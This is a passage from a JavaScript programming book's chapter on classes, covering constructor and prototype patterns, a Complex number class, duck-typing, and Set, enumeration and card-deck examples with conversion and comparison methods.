We can reduce the process of class definition in JavaScript to a three-step algorithm. First, write a constructor function that sets instance properties on new objects. Second, define instance methods on the `prototype` object of the constructor. Third, define class fields and class properties on the constructor itself. We can even implement this algorithm as a simple `defineClass()` function. (It uses the `extend()` function of Example 6-2 as patched in Example 8-3):

```
// A simple function for defining simple classes
function defineClass(constructor,  // A function that sets instance properties
```

```
                        methods,      // Instance methods: copied to prototype
                        statics)      // Class properties: copied to constructor
    {
        if (methods) extend(constructor.prototype, methods);
        if (statics) extend(constructor, statics);
        return constructor;
    }

    // This is a simple variant of our Range class
    var SimpleRange =
        defineClass(function(f,t) { this.f = f; this.t = t; },
                    {
                        includes: function(x) { return this.f <= x && x <= this.t;},
                        toString: function() { return this.f + "..." + this.t; }
                    },
                    { upto: function(t) { return new SimpleRange(0, t); } });
```

Example 9-3 is a longer class definition. It creates a class that represents complex numbers and demonstrates how to simulate Java-style class members using JavaScript. It does this "manually"—without relying on the `defineClass()` function above.

Example 9-3. Complex.js: A complex number class

```
/*
 * Complex.js:
 * This file defines a Complex class to represent complex numbers.
 * Recall that a complex number is the sum of a real number and an
 * imaginary number and that the imaginary number i is the square root of -1.
 */

/*
 * This constructor function defines the instance fields r and i on every
 * instance it creates.  These fields hold the real and imaginary parts of
 * the complex number: they are the state of the object.
 */
function Complex(real, imaginary) {
    if (isNaN(real) || isNaN(imaginary)) // Ensure that both args are numbers.
        throw new TypeError();           // Throw an error if they are not.
    this.r = real;                       // The real part of the complex number.
    this.i = imaginary;                  // The imaginary part of the number.
}

/*
 * The instance methods of a class are defined as function-valued properties
 * of the prototype object.  The methods defined here are inherited by all
 * instances and provide the shared behavior of the class. Note that JavaScript
 * instance methods must use the this keyword to access the instance fields.
 */

// Add a complex number to this one and return the sum in a new object.
Complex.prototype.add = function(that) {
    return new Complex(this.r + that.r, this.i + that.i);
};

// Multiply this complex number by another and return the product.
Complex.prototype.mul = function(that) {
```

```
    return new Complex(this.r * that.r - this.i * that.i,
                       this.r * that.i + this.i * that.r);
};

// Return the real magnitude of a complex number. This is defined
// as its distance from the origin (0,0) of the complex plane.
Complex.prototype.mag = function() {
    return Math.sqrt(this.r*this.r + this.i*this.i);
};

// Return a complex number that is the negative of this one.
Complex.prototype.neg = function() { return new Complex(-this.r, -this.i); };

// Convert a Complex object to a string in a useful way.
Complex.prototype.toString = function() {
    return "{" + this.r + "," + this.i + "}";
};

// Test whether this Complex object has the same value as another.
Complex.prototype.equals = function(that) {
    return that != null &&                      // must be defined and non-null
        that.constructor === Complex &&         // and an instance of Complex
        this.r === that.r && this.i === that.i; // and have the same values.
};

/*
 * Class fields (such as constants) and class methods are defined as
 * properties of the constructor. Note that class methods do not
 * generally use the this keyword: they operate only on their arguments.
 */

// Here are some class fields that hold useful predefined complex numbers.
// Their names are uppercase to indicate that they are constants.
// (In ECMAScript 5, we could actually make these properties read-only.)
Complex.ZERO = new Complex(0,0);
Complex.ONE = new Complex(1,0);
Complex.I = new Complex(0,1);

// This class method parses a string in the format returned by the toString
// instance method and returns a Complex object or throws a TypeError.
Complex.parse = function(s) {
    try {          // Assume that the parsing will succeed
        var m = Complex._format.exec(s);  // Regular expression magic
        return new Complex(parseFloat(m[1]), parseFloat(m[2]));
    } catch (x) {  // And throw an exception if it fails
        throw new TypeError("Can't parse '" + s + "' as a complex number.");
    }
};

// A "private" class field used in Complex.parse() above.
// The underscore in its name indicates that it is intended for internal
// use and should not be considered part of the public API of this class.
Complex._format = /^\{([^,]+),([^}]+)\}$/;
```

With the Complex class of Example 9-3 defined, we can use the constructor, instance fields, instance methods, class fields, and class methods with code like this:

```
var c = new Complex(2,3);     // Create a new object with the constructor
var d = new Complex(c.i,c.r); // Use instance properties of c
c.add(d).toString();          // => "{5,5}": use instance methods
// A more complex expression that uses a class method and field
Complex.parse(c.toString()).  // Convert c to a string and back again,
    add(c.neg()).             // add its negative to it,
    equals(Complex.ZERO)      // and it will always equal zero
```

Although JavaScript classes can emulate Java-style class members, there are a number of significant Java features that JavaScript classes do not support. First, in the instance methods of Java classes, instance fields can be used as if they were local variables—there is no need to prefix them with `this`. JavaScript does not do this, but you could achieve a similar effect using a `with` statement (this is not recommended, however):

```
Complex.prototype.toString = function() {
    with(this) {
        return "{" + r + "," + i + "}";
    }
};
```

Java allows fields to be declared `final` to indicate that they are constants, and it allows fields and methods to be declared `private` to specify that they are private to the class implementation and should not be visible to users of the class. JavaScript does not have these keywords, and Example 9-3 uses typographical conventions to provide hints that some properties (whose names are in capital letters) should not be changed and that others (whose names begin with an underscore) should not be used outside of the class. We'll return to both of these topics later in the chapter: private properties can be emulated using the local variables of a closure (see §9.6.6) and constant properties are possible in ECMAScript 5 (see §9.8.2).

9.4 Augmenting Classes

JavaScript's prototype-based inheritance mechanism is dynamic: an object inherits properties from its prototype, even if the prototype changes after the object is created. This means that we can augment JavaScript classes simply by adding new methods to their prototype objects. Here is code that adds a method for computing the complex conjugate to the Complex class of Example 9-3:

```
// Return a complex number that is the complex conjugate of this one.
Complex.prototype.conj = function() { return new Complex(this.r, -this.i); };
```

The prototype object of built-in JavaScript classes is also "open" like this, which means that we can add methods to numbers, strings, arrays, functions, and so on. We did this in Example 8-5 when we added a `bind()` method to the function class in ECMAScript 3 implementations where it did not already exist:

```
if (!Function.prototype.bind) {
    Function.prototype.bind = function(o /*, args */) {
```

```
        // Code for the bind method goes here...
    };
}
```

Here are some other examples:

```
// Invoke the function f this many times, passing the iteration number
// For example, to print "hello" 3 times:
//     var n = 3;
//     n.times(function(n) { console.log(n + " hello"); });
Number.prototype.times = function(f, context) {
    var n = Number(this);
    for(var i = 0; i < n; i++) f.call(context, i);
};

// Define the ES5 String.trim() method if one does not already exist.
// This method returns a string with whitespace removed from the start and end.
String.prototype.trim = String.prototype.trim || function() {
    if (!this) return this;                // Don't alter the empty string
    return this.replace(/^\s+|\s+$/g, ""); // Regular expression magic
};

// Return a function's name.  If it has a (nonstandard) name property, use it.
// Otherwise, convert the function to a string and extract the name from that.
// Returns an empty string for unnamed functions like itself.
Function.prototype.getName = function() {
    return this.name || this.toString().match(/function\s*([^(]*)\(/)[1];
};
```

It is possible to add methods to `Object.prototype`, making them available on all objects. This is not recommended, however, because prior to ECMAScript 5, there is no way to make these add-on methods nonenumerable, and if you add properties to `Object.prototype`, those properties will be reported by all `for/in` loops. In §9.8.1 we'll see an example of using the ECMAScript 5 method `Object.defineProperty()` to safely augment `Object.prototype`.

It is implementation-dependent whether classes defined by the host environment (such as the web browser) can be augmented in this way. In many web browsers, for example, you can add methods to `HTMLElement.prototype` and those methods will be inherited by the objects that represent the HTML tags in the current document. This does not work in current versions of Microsoft's Internet Explorer, however, which severely limits the utility of this technique for client-side programming.

9.5 Classes and Types

Recall from Chapter 3 that JavaScript defines a small set of types: null, undefined, boolean, number, string, function, and object. The `typeof` operator (§4.13.2) allows us to distinguish among these types. Often, however, it is useful to treat each class as its own type and to be able to distinguish objects based on their class. The built-in objects of core JavaScript (and often the host objects of client-side JavaScript) can be distinguished on the basis of their *class* attribute (§6.8.2) using code like the

`classof()` function of Example 6-4. But when we define our own classes using the techniques shown in this chapter, the instance objects always have a *class* attribute of "Object", so the `classof()` function doesn't help here.

The subsections that follow explain three techniques for determining the class of an arbitrary object: the `instanceof` operator, the `constructor` property, and the name of the constructor function. None of these techniques is entirely satisfactory, however, and the section concludes with a discussion of duck-typing, a programming philosophy that focuses on what an object can do (what methods it has) rather than what its class is.

9.5.1 The instanceof operator

The `instanceof` operator was described in §4.9.4. The left-hand operand should be the object whose class is being tested, and the right-hand operand should be a constructor function that names a class. The expression `o instanceof c` evaluates to `true` if `o` inherits from `c.prototype`. The inheritance need not be direct. If `o` inherits from an object that inherits from an object that inherits from `c.prototype`, the expression will still evaluate to `true`.

As noted earlier in this chapter, constructors act as the public identity of classes, but prototypes are the fundamental identity. Despite the use of a constructor function with `instanceof`, this operator is really testing what an object inherits from, not what constructor was used to create it.

If you want to test the prototype chain of an object for a specific prototype object and do not want to use the constructor function as an intermediary, you can use the `isPrototypeOf()` method. For example, we could test whether an object `r` was a member of the range class defined in Example 9-1 with this code:

```
range.methods.isPrototypeOf(r);  // range.methods is the prototype object.
```

One shortcoming of the `instanceof` operator and the `isPrototypeOf()` method is that they do not allow us to query the class of an object, only to test an object against a class we specify. A more serious shortcoming arises in client-side JavaScript where a web application uses more than one window or frame. Each window or frame is a distinct execution context, and each has its own global object and its own set of constructor functions. Two arrays created in two different frames inherit from two identical but distinct prototype objects, and an array created in one frame is not `instanceof` the `Array()` constructor of another frame.

9.5.2 The constructor property

Another way to identify the class of an object is to simply use the `constructor` property. Since constructors are the public face of classes, this is a straightforward approach. For example:

```
function typeAndValue(x) {
    if (x == null) return "";  // Null and undefined don't have constructors
    switch(x.constructor) {
    case Number:  return "Number: " + x;         // Works for primitive types
    case String:  return "String: '" + x + "'";
    case Date:    return "Date: " + x;           // And for built-in types
    case RegExp:  return "Regexp: " + x;
    case Complex: return "Complex: " + x;        // And for user-defined types
    }
}
```

Note that the expressions following the `case` keyword in the code above are functions. If we were using the `typeof` operator or extracting the *class* attribute of the object, they would be strings instead.

This technique of using the `constructor` property is subject to the same problem as `instanceof`. It won't always work when there are multiple execution contexts (such as multiple frames in a browser window) that share values. In this situation, each frame has its own set of constructor functions: the `Array` constructor in one frame is not the same as the `Array` constructor in another frame.

Also, JavaScript does not require that every object have a `constructor` property: this is a convention based on the default prototype object created for each function, but it is easy to accidentally or intentionally omit the `constructor` property on the prototype. The first two classes in this chapter, for example, were defined in such a way (in Examples 9-1 and 9-2) that their instances did not have `constructor` properties.

9.5.3 The Constructor Name

The main problem with using the `instanceof` operator or the `constructor` property for determining the class of an object occurs when there are multiple execution contexts and thus multiple copies of the constructor functions. These functions may well be identical, but they are distinct objects and are therefore not equal to each other.

One possible workaround is to use the name of the constructor function as the class identifier rather than the function itself. The `Array` constructor in one window is not equal to the `Array` constructor in another window, but their names are equal. Some JavaScript implementations make the name of a function available through a nonstandard `name` property of the function object. For implementations without a `name` property, we can convert the function to a string and extract the name from that. (We did this in §9.4 when we showed how to add a `getName()` method to the Function class.)

Example 9-4 defines a `type()` function that returns the type of an object as a string. It handles primitive values and functions with the `typeof` operator. For objects, it returns

either the value of the *class* attribute or the name of the constructor. The `type()` function uses the `classof()` function from Example 6-4 and the `Function.getName()` method from §9.4. The code for that function and method are included here for simplicity.

Example 9-4. A type() function to determine the type of a value

```
/**
 * Return the type of o as a string:
 *   -If o is null, return "null", if o is NaN, return "nan".
 *   -If typeof returns a value other than "object" return that value.
 *    (Note that some implementations identify regexps as functions.)
 *   -If the class of o is anything other than "Object", return that.
 *   -If o has a constructor and that constructor has a name, return it.
 *   -Otherwise, just return "Object".
 **/
function type(o) {
    var t, c, n;  // type, class, name

    // Special case for the null value:
    if (o === null) return "null";

    // Another special case: NaN is the only value not equal to itself:
    if (o !== o) return "nan";

    // Use typeof for any value other than "object".
    // This identifies any primitive value and also functions.
    if ((t = typeof o) !== "object") return t;

    // Return the class of the object unless it is "Object".
    // This will identify most native objects.
    if ((c = classof(o)) !== "Object") return c;

    // Return the object's constructor name, if it has one
    if (o.constructor && typeof o.constructor === "function" &&
        (n = o.constructor.getName())) return n;

    // We can't determine a more specific type, so return "Object"
    return "Object";
}

// Return the class of an object.
function classof(o) {
    return Object.prototype.toString.call(o).slice(8,-1);
};

// Return the name of a function (may be "") or null for nonfunctions
Function.prototype.getName = function() {
    if ("name" in this) return this.name;
    return this.name = this.toString().match(/function\s*([^(]*)\(/)[1];
};
```

This technique of using the constructor name to identify the class of an object has one of the same problems as using the `constructor` property itself: not all objects have a `constructor` property. Furthermore, not all functions have a name. If we define a

constructor using an unnamed function definition expression, the `getName()` method will return an empty string:

```
// This constructor has no name
var Complex = function(x,y) { this.r = x; this.i = y; }
// This constructor does have a name
var Range = function Range(f,t) { this.from = f; this.to = t; }
```

9.5.4 Duck-Typing

None of the techniques described above for determining the class of an object are problem-free, at least in client-side JavaScript. An alternative is to sidestep the issue: instead of asking "what is the class of this object?" we ask instead, "what can this object do?" This approach to programming is common in languages like Python and Ruby and is called *duck-typing* after this expression (often attributed to poet James Whitcomb Riley):

> When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.

For JavaScript programmers, this aphorism can be understood to mean "if an object can walk and swim and quack like a Duck, then we can treat it as a Duck, even if it does not inherit from the prototype object of the Duck class."

The Range class of Example 9-2 serves as an example. This class was designed with numeric ranges in mind. Notice, however, that the `Range()` constructor does not check its arguments to ensure that they are numbers. It does use the `>` operator on them, however, so it assumes that they are comparable. Similarly, the `includes()` method uses the `<=` operator but makes no other assumptions about the endpoints of the range. Because the class does not enforce a particular type, its `includes()` method works for any kind of endpoint that can be compared with the relational operators:

```
var lowercase = new Range("a", "z");
var thisYear = new Range(new Date(2009, 0, 1), new Date(2010, 0, 1));
```

The `foreach()` method of our Range class doesn't explicitly test the type of the range endpoints either, but its use of `Math.ceil()` and the `++` operator means that it only works with numeric endpoints.

As another example, recall the discussion of array-like objects from §7.11. In many circumstances, we don't need to know whether an object is a true instance of the Array class: it is enough to know that it has a nonnegative integer `length` property. The existence of an integer-valued `length` is how arrays walk, we might say, and any object that can walk in this way can (in many circumstances) be treated as an array.

Keep in mind, however, that the `length` property of true arrays has special behavior: when new elements are added, the length is automatically updated, and when the length is set to a smaller value, the array is automatically truncated. We might say that this is how arrays swim and quack. If you are writing code that requires swimming and quacking, you can't use an object that only walks like an array.

The examples of duck-typing presented above involve the response of objects to the `<` operator and the special behavior of the `length` property. More typically, however, when we talk about duck-typing, we're talking about testing whether an object implements one or more methods. A strongly-typed `triathlon()` function might require its argument to be an TriAthlete object. A duck-typed alternative could be designed to accept any object that has `walk()`, `swim()`, and `bike()` methods. Less frivolously, we might redesign our Range class so that instead of using the `<` and `++` operators, it uses the `compareTo()` and `succ()` (successor) methods of its endpoint objects.

One approach to duck-typing is laissez-faire: we simply assume that our input objects implement the necessary methods and perform no checking at all. If the assumption is invalid, an error will occur when our code attempts to invoke a nonexistent method. Another approach does check the input objects. Rather than check their class, however, it checks that they implement methods with the appropriate names. This allows us to reject bad input earlier and can result in more informative error messages.

Example 9-5 defines a `quacks()` function ("implements" would be a better name, but `implements` is a reserved word) that can be useful when duck-typing. `quacks()` tests whether an object (the first argument) implements the methods specified by the remaining arguments. For each remaining argument, if the argument is a string, it checks for a method by that name. If the argument is an object, it checks whether the first object implements methods with the same names as the methods of that object. If the argument is a function, it is assumed to be a constructor, and the function checks whether the first object implements methods with the same names as the prototype object.

Example 9-5. A function for duck-type checking

```
// Return true if o implements the methods specified by the remaining args.
function quacks(o /*, ... */) {
    for(var i = 1; i < arguments.length; i++) {  // for each argument after o
        var arg = arguments[i];
        switch(typeof arg) { // If arg is a:
        case 'string':       // string: check for a method with that name
            if (typeof o[arg] !== "function") return false;
            continue;
        case 'function':     // function: use the prototype object instead
            // If the argument is a function, we use its prototype object
            arg = arg.prototype;
            // fall through to the next case
        case 'object':       // object: check for matching methods
            for(var m in arg) { // For each property of the object
                if (typeof arg[m] !== "function") continue; // skip non-methods
                if (typeof o[m] !== "function") return false;
            }
        }
    }

    // If we're still here, then o implements everything
    return true;
}
```

There are a couple of important things to keep in mind about this `quacks()` function. First, it only tests that an object has one or more function-valued properties with specified names. The existence of these properties doesn't tell us anything about what those functions do or how many and what kind of arguments they expect. This, however, is the nature of duck-typing. If you define an API that uses duck-typing rather than a stronger version of type checking, you are creating a more flexible API but also entrusting the user of your API with the responsibility to use the API correctly. The second important point to note about the `quacks()` function is that it doesn't work with built-in classes. For example, you can't write `quacks(o, Array)` to test that o has methods with the same names as all Array methods. This is because the methods of the built-in classes are nonenumerable and the `for/in` loop in `quacks()` does not see them. (Note that this can be remedied in ECMAScript 5 with the use of `Object.getOwnPropertyNames()`.)

9.6 Object-Oriented Techniques in JavaScript

So far in this chapter we've covered the architectural fundamentals of classes in JavaScript: the importance of the prototype object, its connections to the constructor function, how the `instanceof` operator works, and so on. In this section we switch gears and demonstrate a number of practical (though not fundamental) techniques for programming with JavaScript classes. We begin with two nontrivial example classes that are interesting in their own right but also serve as starting points for the discussions that follow.

9.6.1 Example: A Set Class

A *set* is a data structure that represents an unordered collection of values, with no duplicates. The fundamental operations on sets are adding values and testing whether a value is a member of the set, and sets are generally implemented so that these operations are fast. JavaScript's objects are basically sets of property names, with values associated with each name. It is trivial, therefore, to use an object as a set of strings. Example 9-6 implements a more general Set class in JavaScript. It works by mapping any JavaScript value to a unique string, and then using that string as a property name. Objects and functions do not have a concise and reliably unique string representation, so the Set class must define an identifying property on any object or function stored in the set.

Example 9-6. Set.js: An arbitrary set of values

```
function Set() {          // This is the constructor
    this.values = {};     // The properties of this object hold the set
    this.n = 0;           // How many values are in the set
    this.add.apply(this, arguments);  // All arguments are values to add
}

// Add each of the arguments to the set.
Set.prototype.add = function() {
```

```
    for(var i = 0; i < arguments.length; i++) {  // For each argument
        var val = arguments[i];                  // The value to add to the set
        var str = Set._v2s(val);                 // Transform it to a string
        if (!this.values.hasOwnProperty(str)) {  // If not already in the set
            this.values[str] = val;              // Map string to value
            this.n++;                            // Increase set size
        }
    }
    return this;                                 // Support chained method calls
};

// Remove each of the arguments from the set.
Set.prototype.remove = function() {
    for(var i = 0; i < arguments.length; i++) {  // For each argument
        var str = Set._v2s(arguments[i]);        // Map to a string
        if (this.values.hasOwnProperty(str)) {   // If it is in the set
            delete this.values[str];             // Delete it
            this.n--;                            // Decrease set size
        }
    }
    return this;                                 // For method chaining
};

// Return true if the set contains value; false otherwise.
Set.prototype.contains = function(value) {
    return this.values.hasOwnProperty(Set._v2s(value));
};

// Return the size of the set.
Set.prototype.size = function() { return this.n; };

// Call function f on the specified context for each element of the set.
Set.prototype.foreach = function(f, context) {
    for(var s in this.values)                // For each string in the set
        if (this.values.hasOwnProperty(s))   // Ignore inherited properties
            f.call(context, this.values[s]); // Call f on the value
};

// This internal function maps any JavaScript value to a unique string.
Set._v2s = function(val) {
    switch(val) {
        case undefined:     return 'u';          // Special primitive
        case null:          return 'n';          // values get single-letter
        case true:          return 't';          // codes.
        case false:         return 'f';
        default: switch(typeof val) {
            case 'number':  return '#' + val;    // Numbers get # prefix.
            case 'string':  return '"' + val;    // Strings get " prefix.
            default: return '@' + objectId(val); // Objs and funcs get @
        }
    }

    // For any object, return a string. This function will return a different
    // string for different objects, and will always return the same string
    // if called multiple times for the same object. To do this it creates a
    // property on o. In ES5 the property would be nonenumerable and read-only.
```

```
    function objectId(o) {
        var prop = "|**objectid**|";   // Private property name for storing ids
        if (!o.hasOwnProperty(prop))   // If the object has no id
            o[prop] = Set._v2s.next++; // Assign it the next available
        return o[prop];                // Return the id
    }
};
Set._v2s.next = 100;    // Start assigning object ids at this value.
```

9.6.2 Example: Enumerated Types

An *enumerated type* is a type with a finite set of values that are listed (or "enumerated") when the type is defined. In C and languages derived from it, enumerated types are declared with the `enum` keyword. `enum` is a reserved (but unused) word in ECMAScript 5 which leaves open the possibility that JavaScript may someday have native enumerated types. Until then, Example 9-7 shows how you can define your own enumerated types in JavaScript. Note that it uses the `inherit()` function from Example 6-1.

Example 9-7 consists of a single function `enumeration()`. This is not a constructor function, however: it does not define a class named "enumeration". Instead, this is a factory function: each invocation creates and returns a new class. Use it like this:

```
// Create a new Coin class with four values: Coin.Penny, Coin.Nickel, etc.
var Coin = enumeration({Penny: 1, Nickel:5, Dime:10, Quarter:25});
var c = Coin.Dime;                  // This is an instance of the new class
c instanceof Coin                   // => true: instanceof works
c.constructor == Coin               // => true: constructor property works
Coin.Quarter + 3*Coin.Nickel        // => 40: values convert to numbers
Coin.Dime == 10                     // => true: more conversion to numbers
Coin.Dime > Coin.Nickel             // => true: relational operators work
String(Coin.Dime) + ":" + Coin.Dime  // => "Dime:10": coerce to string
```

The point of this example is to demonstrate that JavaScript classes are much more flexible and dynamic than the static classes of languages like C++ and Java.

Example 9-7. Enumerated types in JavaScript

```
// This function creates a new enumerated type.  The argument object specifies
// the names and values of each instance of the class. The return value
// is a constructor function that identifies the new class.  Note, however
// that the constructor throws an exception: you can't use it to create new
// instances of the type.  The returned constructor has properties that
// map the name of a value to the value itself, and also a values array,
// a foreach() iterator function
function enumeration(namesToValues) {
    // This is the dummy constructor function that will be the return value.
    var enumeration = function() { throw "Can't Instantiate Enumerations"; };

    // Enumerated values inherit from this object.
    var proto = enumeration.prototype = {
        constructor: enumeration,                   // Identify type
        toString: function() { return this.name; }, // Return name
        valueOf: function() { return this.value; }, // Return value
```

```
        toJSON: function() { return this.name; }    // For serialization
    };

    enumeration.values = [];  // An array of the enumerated value objects

    // Now create the instances of this new type.
    for(name in namesToValues) {         // For each value
        var e = inherit(proto);          // Create an object to represent it
        e.name = name;                   // Give it a name
        e.value = namesToValues[name];   // And a value
        enumeration[name] = e;           // Make it a property of constructor
        enumeration.values.push(e);      // And store in the values array
    }
    // A class method for iterating the instances of the class
    enumeration.foreach = function(f,c) {
        for(var i = 0; i < this.values.length; i++) f.call(c,this.values[i]);
    };

    // Return the constructor that identifies the new type
    return enumeration;
}
```

The "hello world" of enumerated types is to use an enumerated type to represent the suits in a deck of cards. Example 9-8 uses the `enumeration()` function in this way and also defines classes to represents cards and decks of cards.[1]

Example 9-8. Representing cards with enumerated types

```
// Define a class to represent a playing card
function Card(suit, rank) {
    this.suit = suit;         // Each card has a suit
    this.rank = rank;         // and a rank
}

// These enumerated types define the suit and rank values
Card.Suit = enumeration({Clubs: 1, Diamonds: 2, Hearts:3, Spades:4});
Card.Rank = enumeration({Two: 2, Three: 3, Four: 4, Five: 5, Six: 6,
                         Seven: 7, Eight: 8, Nine: 9, Ten: 10,
                         Jack: 11, Queen: 12, King: 13, Ace: 14});

// Define a textual representation for a card
Card.prototype.toString = function() {
    return this.rank.toString() + " of " + this.suit.toString();
};
// Compare the value of two cards as you would in poker
Card.prototype.compareTo = function(that) {
    if (this.rank < that.rank) return -1;
    if (this.rank > that.rank) return 1;
    return 0;
};

// A function for ordering cards as you would in poker
```

1. This example is based on a Java example by Joshua Bloch, available at *http://jcp.org/aboutJava/communityprocess/jsr/tiger/enum.html*.

```
Card.orderByRank = function(a,b) { return a.compareTo(b); };

// A function for ordering cards as you would in bridge
Card.orderBySuit = function(a,b) {
    if (a.suit < b.suit) return -1;
    if (a.suit > b.suit) return 1;
    if (a.rank < b.rank) return -1;
    if (a.rank > b.rank) return  1;
    return 0;
};


// Define a class to represent a standard deck of cards
function Deck() {
    var cards = this.cards = [];     // A deck is just an array of cards
    Card.Suit.foreach(function(s) {  // Initialize the array
                          Card.Rank.foreach(function(r) {
                                                cards.push(new Card(s,r));
                                            });
                      });
}

// Shuffle method: shuffles cards in place and returns the deck
Deck.prototype.shuffle = function() {
    // For each element in the array, swap with a randomly chosen lower element
    var deck = this.cards, len = deck.length;
    for(var i = len-1; i > 0; i--) {
        var r = Math.floor(Math.random()*(i+1)), temp;     // Random number
        temp = deck[i], deck[i] = deck[r], deck[r] = temp; // Swap
    }
    return this;
};

// Deal method: returns an array of cards
Deck.prototype.deal = function(n) {
    if (this.cards.length < n) throw "Out of cards";
    return this.cards.splice(this.cards.length-n, n);
};

// Create a new deck of cards, shuffle it, and deal a bridge hand
var deck = (new Deck()).shuffle();
var hand = deck.deal(13).sort(Card.orderBySuit);
```

9.6.3 Standard Conversion Methods

§3.8.3 and §6.10 described important methods used for type conversion of objects, some of which are invoked automatically by the JavaScript interpreter when conversion is necessary. You do not need to implement these methods for every class you write, but they are important methods, and if you do not implement them for your classes, it should be a conscious choice not to implement them rather than mere oversight.

The first, and most important, method is `toString()`. The purpose of this method is to return a string representation of an object. JavaScript automatically invokes this method if you use an object where a string is expected—as a property name, for example,

or with the + operator to perform string concatenation. If you don't implement this method, your class will inherit the default implementation from `Object.prototype` and will convert to the useless string "[object Object]". A `toString()` method might return a human-readable string suitable for display to end users of your program. Even if this is not necessary, however, it is often useful to define `toString()` for ease of debugging. The Range and Complex classes in Examples 9-2 and 9-3 have `toString()` methods, as do the enumerated types of Example 9-7. We'll define a `toString()` method for the Set class of Example 9-6 below.

The `toLocaleString()` is closely related to `toString()`: it should convert an object to a string in a locale-sensitive way. By default, objects inherit a `toLocaleString()` method that simply calls their `toString()` method. Some built-in types have useful `toLocaleString()` methods that actually return locale-dependent strings. If you find yourself writing a `toString()` method that converts other objects to strings, you should also define a `toLocaleString()` method that performs those conversions by invoking the `toLocaleString()` method on the objects. We'll do this for the Set class below.

The third method is `valueOf()`. Its job is to convert an object to a primitive value. The `valueOf()` method is invoked automatically when an object is used in a numeric context, with arithmetic operators (other than +) and with the relational operators, for example. Most objects do not have a reasonable primitive representation and do not define this method. The enumerated types in Example 9-7 demonstrate a case in which the `valueOf()` method is important, however.

The fourth method is `toJSON()`, which is invoked automatically by `JSON.stringify()`. The JSON format is intended for serialization of data structures and can handle JavaScript primitive values, arrays, and plain objects. It does not know about classes, and when serializing an object, it ignores the object's prototype and constructor. If you call `JSON.stringify()` on a Range or Complex object, for example, it returns a string like `{"from":1, "to":3}` or `{"r":1, "i":-1}`. If you pass these strings to `JSON.parse()`, you'll obtain a plain object with properties appropriate for Range and Complex objects, but which do not inherit the Range and Complex methods.

This kind of serialization is appropriate for classes like Range and Complex, but for other classes you may want to write a `toJSON()` method to define some other serialization format. If an object has a `toJSON()` method, `JSON.stringify()` does not serialize the object but instead calls `toJSON()` and serializes the value (either primitive or object) that it returns. Date objects, for example, have a `toJSON()` method that returns a string representation of the date. The enumerated types of Example 9-7 do the same: their `toJSON()` method is the same as their `toString()` method. The closest JSON analog to a set is an array, so we'll define a `toJSON()` method below that converts a Set object to an array of values.

The Set class of Example 9-6 does not define any of these methods. A set has no primitive representation, so it doesn't make sense to define a `valueOf()` method, but the class should probably have `toString()`, `toLocaleString()`, and `toJSON()` methods. We

can do that with code like the following. Note the use of the `extend()` function (Example 6-2) to add methods to `Set.prototype`:

```
// Add these methods to the Set prototype object.
extend(Set.prototype, {
          // Convert a set to a string
          toString: function() {
              var s = "{", i = 0;
              this.foreach(function(v) { s += ((i++ > 0)?", ":"") + v; });
              return s + "}";
          },
          // Like toString, but call toLocaleString on all values
          toLocaleString : function() {
              var s = "{", i = 0;
              this.foreach(function(v) {
                              if (i++ > 0) s += ", ";
                              if (v == null) s += v; // null & undefined
                              else s += v.toLocaleString(); // all others
                          });
              return s + "}";
          },
          // Convert a set to an array of values
          toArray: function() {
              var a = [];
              this.foreach(function(v) { a.push(v); });
              return a;
          }
      });

// Treat sets like arrays for the purposes of JSON stringification.
Set.prototype.toJSON = Set.prototype.toArray;
```

9.6.4 Comparison Methods

JavaScript equality operators compare objects by reference, not by value. That is, given two object references, they look to see if both references are to the same object. They do not check to see if two different objects have the same property names and values. It is often useful to be able to compare two distinct objects for equality or even for relative order (as the < and > operators do). If you define a class and want to be able to compare instances of that class, you should define appropriate methods to perform those comparisons.

The Java programming language uses methods for object comparison, and adopting the Java conventions is a common and useful thing to do in JavaScript. To enable instances of your class to be tested for equality, define an instance method named `equals()`. It should take a single argument and return `true` if that argument is equal to the object it is invoked on. Of course it is up to you to decide what "equal" means in the context of your own class. For simple classes you can often simply compare the `constructor` properties to ensure that the two objects are of the same type and then compare the instance properties of the two objects to ensure that they have the same values. The Complex class in Example 9-3 has an `equals()` method of this sort, and we can easily write a similar one for the Range class:

Download from Wow! eBook <www.wowebook.com>

```
// The Range class overwrote its constructor property. So add it now.
Range.prototype.constructor = Range;

// A Range is not equal to any nonrange.
// Two ranges are equal if and only if their endpoints are equal.
Range.prototype.equals = function(that) {
    if (that == null) return false;              // Reject null and undefined
    if (that.constructor !== Range) return false; // Reject non-ranges
    // Now return true if and only if the two endpoints are equal.
    return this.from == that.from && this.to == that.to;
}
```

Defining an `equals()` method for our Set class is somewhat trickier. We can't just compare the `values` property of two sets but must perform a deeper comparison:

```
Set.prototype.equals = function(that) {
    // Shortcut for trivial case
    if (this === that) return true;

    // If the that object is not a set, it is not equal to this one.
    // We use instanceof to allow any subclass of Set.
    // We could relax this test if we wanted true duck-typing.
    // Or we could strengthen it to check this.constructor == that.constructor
    // Note that instanceof properly rejects null and undefined values
    if (!(that instanceof Set)) return false;

    // If two sets don't have the same size, they're not equal
    if (this.size() != that.size()) return false;

    // Now check whether every element in this is also in that.
    // Use an exception to break out of the foreach if the sets are not equal.
    try {
        this.foreach(function(v) { if (!that.contains(v)) throw false; });
        return true;                    // All elements matched: sets are equal.
    } catch (x) {
        if (x === false) return false;  // An element in this is not in that.
        throw x;                        // Some other exception: rethrow it.
    }
};
```

It is sometimes useful to compare objects according to some ordering. That is, for some classes, it is possible to say that one instance is "less than" or "greater than" another instance. You might order Range object based on the value of their lower bound, for example. Enumerated types could be ordered alphabetically by name, or numerically by the associated value (assuming the associated value is a number). Set objects, on the other hand, do not really have a natural ordering.

If you try to use objects with JavaScript's relation operators, such as `<` and `<=`, JavaScript first calls the `valueOf()` method of the objects and, if this method returns a primitive value, compares those values. The enumerated types returned by the `enumeration()` method of Example 9-7 have a `valueOf()` method and can be meaningfully compared using the relational operators. Most classes do not have a `valueOf()` method, however. To compare objects of these types according to an explicitly defined ordering of your

own choosing, you can (again, following Java convention) define a method named `compareTo()`.

The `compareTo()` method should accept a single argument and compare it to the object on which the method is invoked. If the `this` object is less than the argument, `compareTo()` should return a value less than zero. If the `this` object is greater than the argument object, the method should return a value greater than zero. And if the two objects are equal, the method should return zero. These conventions about the return value are important, and they allow you to substitute the following expressions for relational and equality operators:

Replace this	With this
a < b	a.compareTo(b) < 0
a <= b	a.compareTo(b) <= 0
a > b	a.compareTo(b) > 0
a >= b	a.compareTo(b) >= 0
a == b	a.compareTo(b) == 0
a != b	a.compareTo(b) != 0

